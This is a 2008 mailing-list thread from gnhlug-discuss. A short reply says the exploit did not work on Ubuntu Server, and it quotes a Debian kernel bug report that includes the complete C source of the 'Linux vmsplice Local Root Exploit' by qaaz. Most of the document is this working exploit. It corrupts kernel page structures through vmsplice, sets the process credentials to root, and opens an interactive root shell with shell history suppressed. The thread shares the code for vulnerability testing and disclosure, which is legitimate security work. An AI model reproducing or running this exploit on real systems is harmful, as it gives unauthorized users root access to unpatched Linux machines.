I just tried this on Ubuntu-Server (7.04) and it didn't work. Running 2.6.20-16-server
On Feb 10, 2008 7:48 PM, Bill Sconce <[EMAIL PROTECTED]> wrote: > [ I just compiled and tried it. Sure enough, the program below, > run from user mode, gets a root shell. Yike.] > > [ There doesn't seem to be any activity on the list since early > Saturday; I imagine that someone else has written about this already. > -Bill] > > [ From > http://lists.debian.org/debian-kernel/2008/02/msg00343.html > .] > > > Package: linux-2.6 > Version: 2.6.22-3-generic > Severity: critical > Tags: security > Justification: root security hole > > There is a security hole in all versions of linux-2.6 distributed by > Debian, including Etch's kernel. > > The attached exploit code can be used to test if a kernel is vulnerable, > it starts a root shell. > > -- System Information: > Debian Release: lenny/sid > APT prefers testing > APT policy: (500, 'testing') > Architecture: i386 (i686) > > Kernel: Linux 2.6.22-3-generic (SMP w/8 CPU cores) > Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) > Shell: /bin/sh linked to /bin/bash > > *** proof-of-concept.c > /* > * Linux vmsplice Local Root Exploit > * By qaaz > * > * Linux 2.6.17 - 2.6.24.1 > */ > > #define _GNU_SOURCE > #include <stdio.h> > #include <errno.h> > #include <stdlib.h> > #include <string.h> > #include <malloc.h> > #include <limits.h> > #include <signal.h> > #include <unistd.h> > #include <sys/uio.h> > #include <sys/mman.h> > #include <asm/page.h> > #define __KERNEL__ > #include <asm/unistd.h> > > #define PIPE_BUFFERS 16 > #define PG_compound 14 > #define uint unsigned int > #define static_inline static inline __attribute__((always_inline)) > #define STACK(x) (x + sizeof(x) - 40) > > struct page { > unsigned long flags; > int count; > int mapcount; > unsigned long private; > void *mapping; > unsigned long index; > struct { long next, prev; } lru; > }; > > void exit_code(); > char exit_stack[1024 * 1024]; > > void die(char *msg, int err) > { > printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err)); > fflush(stdout); > fflush(stderr); > exit(1); > } > > #if defined (__i386__) > > #ifndef __NR_vmsplice > #define __NR_vmsplice 316 > #endif > > #define USER_CS 0x73 > #define USER_SS 0x7b > #define USER_FL 0x246 > > static_inline > void exit_kernel() > { > __asm__ __volatile__ ( > "movl %0, 0x10(%%esp) ;" > "movl %1, 0x0c(%%esp) ;" > "movl %2, 0x08(%%esp) ;" > "movl %3, 0x04(%%esp) ;" > "movl %4, 0x00(%%esp) ;" > "iret" > : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL), > "i" (USER_CS), "r" (exit_code) > ); > } > > static_inline > void * get_current() > { > unsigned long curr; > __asm__ __volatile__ ( > "movl %%esp, %%eax ;" > "andl %1, %%eax ;" > "movl (%%eax), %0" > : "=r" (curr) > : "i" (~8191) > ); > return (void *) curr; > } > > #elif defined (__x86_64__) > > #ifndef __NR_vmsplice > #define __NR_vmsplice 278 > #endif > > #define USER_CS 0x23 > #define USER_SS 0x2b > #define USER_FL 0x246 > > static_inline > void exit_kernel() > { > __asm__ __volatile__ ( > "swapgs ;" > "movq %0, 0x20(%%rsp) ;" > "movq %1, 0x18(%%rsp) ;" > "movq %2, 0x10(%%rsp) ;" > "movq %3, 0x08(%%rsp) ;" > "movq %4, 0x00(%%rsp) ;" > "iretq" > : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL), > "i" (USER_CS), "r" (exit_code) > ); > } > > static_inline > void * get_current() > { > unsigned long curr; > __asm__ __volatile__ ( > "movq %%gs:(0), %0" > : "=r" (curr) > ); > return (void *) curr; > } > > #else > #error "unsupported arch" > #endif > > #if defined (_syscall4) > #define __NR__vmsplice __NR_vmsplice > _syscall4( > long, _vmsplice, > int, fd, > struct iovec *, iov, > unsigned long, nr_segs, > unsigned int, flags) > > #else > #define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl)) > #endif > > static uint uid, gid; > > void kernel_code() > { > int i; > uint *p = get_current(); > > for (i = 0; i < 1024-13; i++) { > if (p[0] == uid && p[1] == uid && > p[2] == uid && p[3] == uid && > p[4] == gid && p[5] == gid && > p[6] == gid && p[7] == gid) { > p[0] = p[1] = p[2] = p[3] = 0; > p[4] = p[5] = p[6] = p[7] = 0; > p = (uint *) ((char *)(p + 8) + sizeof(void *)); > p[0] = p[1] = p[2] = ~0; > break; > } > p++; > } > > exit_kernel(); > } > > void exit_code() > { > if (getuid() != 0) > die("wtf", 0); > > printf("[+] root\n"); > putenv("HISTFILE=/dev/null"); > execl("/bin/bash", "bash", "-i", NULL); > die("/bin/bash", errno); > } > > int main(int argc, char *argv[]) > { > int pi[2]; > size_t map_size; > char * map_addr; > struct iovec iov; > struct page * pages[5]; > > uid = getuid(); > gid = getgid(); > setresuid(uid, uid, uid); > setresgid(gid, gid, gid); > > printf("-----------------------------------\n"); > printf(" Linux vmsplice Local Root Exploit\n"); > printf(" By qaaz\n"); > printf("-----------------------------------\n"); > > if (!uid || !gid) > die("[EMAIL PROTECTED]", 0); > > /*****/ > pages[0] = *(void **) &(int[2]){0,PAGE_SIZE}; > pages[1] = pages[0] + 1; > > map_size = PAGE_SIZE; > map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE, > MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); > if (map_addr == MAP_FAILED) > die("mmap", errno); > > memset(map_addr, 0, map_size); > printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); > printf("[+] page: 0x%lx\n", pages[0]); > printf("[+] page: 0x%lx\n", pages[1]); > > pages[0]->flags = 1 << PG_compound; > pages[0]->private = (unsigned long) pages[0]; > pages[0]->count = 1; > pages[1]->lru.next = (long) kernel_code; > > /*****/ > pages[2] = *(void **) pages[0]; > pages[3] = pages[2] + 1; > > map_size = PAGE_SIZE; > map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE, > MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); > if (map_addr == MAP_FAILED) > die("mmap", errno); > > memset(map_addr, 0, map_size); > printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); > printf("[+] page: 0x%lx\n", pages[2]); > printf("[+] page: 0x%lx\n", pages[3]); > > pages[2]->flags = 1 << PG_compound; > pages[2]->private = (unsigned long) pages[2]; > pages[2]->count = 1; > pages[3]->lru.next = (long) kernel_code; > > /*****/ > pages[4] = *(void **) &(int[2]){PAGE_SIZE,0}; > map_size = PAGE_SIZE; > map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE, > MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); > if (map_addr == MAP_FAILED) > die("mmap", errno); > memset(map_addr, 0, map_size); > printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); > printf("[+] page: 0x%lx\n", pages[4]); > > /*****/ > map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE; > map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE, > MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); > if (map_addr == MAP_FAILED) > die("mmap", errno); > > memset(map_addr, 0, map_size); > printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); > > /*****/ > map_size -= 2 * PAGE_SIZE; > if (munmap(map_addr + map_size, PAGE_SIZE) < 0) > die("munmap", errno); > > /*****/ > if (pipe(pi) < 0) die("pipe", errno); > close(pi[0]); > > iov.iov_base = map_addr; > iov.iov_len = ULONG_MAX; > > signal(SIGPIPE, exit_code); > _vmsplice(pi[1], &iov, 1, 0); > die("vmsplice", errno); > return 0; > } > > > > Reply to: > > * [EMAIL PROTECTED] > * William Pitcock (on-list) > * William Pitcock (off-list) > > * Prev by Date: Re: [Pkg-cryptsetup-devel] Bug#464673: cryptsetup seems > to try to load some padlock modules > * Next by Date: Processed: mail for bts bot > * Previous by thread: Bug#464945: linux-image-2.6.18-6-686: Exploit for > vmsplice work for linux-image-2.18-5-686 (CVE-2008-0009/10) > * Next by thread: Processed: mail for bts bot > * Index(es): > o Date > o Thread > _______________________________________________ > gnhlug-discuss mailing list > gnhlug-discuss@mail.gnhlug.org > http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ > -- Travis Roy _______________________________________________ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/